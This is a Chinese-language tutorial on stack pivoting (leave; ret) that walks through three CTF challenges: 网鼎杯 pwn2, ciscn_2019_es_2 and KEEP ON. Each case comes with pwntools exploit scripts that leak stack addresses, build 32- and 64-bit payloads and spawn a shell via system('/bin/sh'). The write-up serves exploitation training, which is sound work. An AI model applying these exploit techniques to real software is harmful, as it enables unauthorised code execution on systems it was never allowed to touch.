关于栈迁移学习分享
字数 1228 2025-08-22 12:23:00
栈迁移技术详解与实践指南
0x01 栈迁移概述
栈迁移(Stack Pivoting)是一种通过修改栈指针(ESP/RSP)将栈转移到其他内存区域的技术,主要用于解决栈溢出空间不足的问题。当溢出空间不足以容纳完整的攻击载荷(payload)时,通过栈迁移可以将栈转移到更大的内存区域(如.bss段、堆等)继续执行攻击代码。
0x02 栈迁移的基本原理
使用条件
- 存在栈溢出漏洞
- 存在可写入的内存区域作为新栈空间
核心指令:leave; ret
leave指令相当于以下两条指令的组合:
mov esp, ebp ; 将ebp的值赋给esp
pop ebp ; 从栈顶弹出值到ebp
ret指令相当于:
pop eip ; 从栈顶弹出值到eip(指令指针)
栈迁移流程
- 第一次leave; ret:将栈指针迁移到新位置
- 第二次leave; ret:在新栈位置执行攻击代码
0x03 32位栈迁移实例分析
案例1:网鼎杯pwn2
程序分析:
- 32位程序,仅开启NX保护
- 需要先通过login验证才能进入vulnerable函数
- vuln函数中存在栈溢出,但溢出空间有限(仅8字节)
利用步骤:
- 绕过login验证
- 接收程序泄露的buf地址
- 构造payload:
- 在新栈位置布置system调用
- 填充至足够长度
- 覆盖返回地址为leave; ret指令地址
关键点:
- 在system地址前填充4字节,防止ret指令破坏payload结构
- 需要两次leave; ret完成迁移和执行
EXP分析:
from pwn import *
context(arch='i386',os='linux',log_level='debug')
elf = ELF('./short')
p = process('./short')
system = 0x80484A0
binsh = 0x804A038
leave = 0x8048674
# 绕过login
p.sendlineafter('Enter your username: ','admin')
p.sendlineafter('Enter your password: ','admin123')
# 获取泄露的buf地址
p.recvuntil('0x')
buf = int(p.recv(8),16)
# 构造payload
payload = b'aaaa' + p32(system) + p32(0)+ p32(binsh)
payload = payload.ljust(0x50,b'\x00') + p32(buf) + p32(leave)
p.recvuntil('plz input your msg:\n')
p.send(payload)
p.interactive()
案例2:ciscn_2019_es_2
程序特点:
- 利用printf(%s)的特性泄露地址
- 溢出空间有限(0x28字节输入,0x30字节缓冲区)
利用技巧:
- 使用send而非sendline发送payload,避免自动添加\n
- 通过填充+特定字符(b'b')定位泄露地址
- 计算新栈位置(s = ebp - 0x38)
EXP关键部分:
# 泄露ebp地址
payload1 = b'a'*0x27 + b'b'
p.send(payload1)
p.recvuntil('b')
s = ebp = u32(p.recv(4)) - 0x38
# 构造迁移payload
payload2 = b'aaaa' + p32(system_addr) + b'aaaa' + p32(s + 16) + b'/bin/sh'
payload2 = payload2.ljust(0x28,b'\x00') + p32(s) + p32(leave_addr)
0x04 64位栈迁移技术
与32位的区别
- 参数传递方式不同(通过寄存器而非栈)
- 需要找到合适的ROP gadget(如pop rdi; ret)
案例:KEEP ON
特点:
- 64位程序
- 存在格式化字符串漏洞用于泄露地址
- 需要构造ROP链
关键点:
- 使用格式化字符串泄露rbp地址
- 计算新栈位置(s = rbp_addr - 0x60 - 0x8)
- 在64位下需要正确设置参数寄存器
EXP片段:
# 泄露rbp地址
fmtpayload = b'%16$p'
p.sendline(fmtpayload)
p.recvuntil('0x')
rbp_addr = int(p.recv(12),16)
# 构造ROP链
s = rbp_addr - 0x60 - 0x8
payload = p64(rdi) + p64(s + 0x8 + 0x18) + p64(system_addr) + b'/bin/sh\x00'
payload = payload.ljust(0x50,b'a') + p64(s) + p64(leave_addr)
0x05 栈迁移技术总结
-
核心思想:通过修改栈指针将执行环境转移到更大的内存区域
-
关键指令:leave; ret组合
-
必要步骤:
- 泄露或计算新栈位置
- 在新栈位置布置payload
- 通过两次leave; ret完成迁移和执行
-
注意事项:
- 32位和64位架构下的参数传递差异
- payload构造时的字节对齐问题
- 确保新栈位置可写且足够大
-
练习建议:
- 使用GDB调试观察栈迁移过程
- 从简单案例开始,逐步增加难度
- 结合其他漏洞(如格式化字符串)进行综合利用
通过理解栈迁移的基本原理并实践上述案例,可以掌握这种在有限溢出空间下实现攻击的重要技术。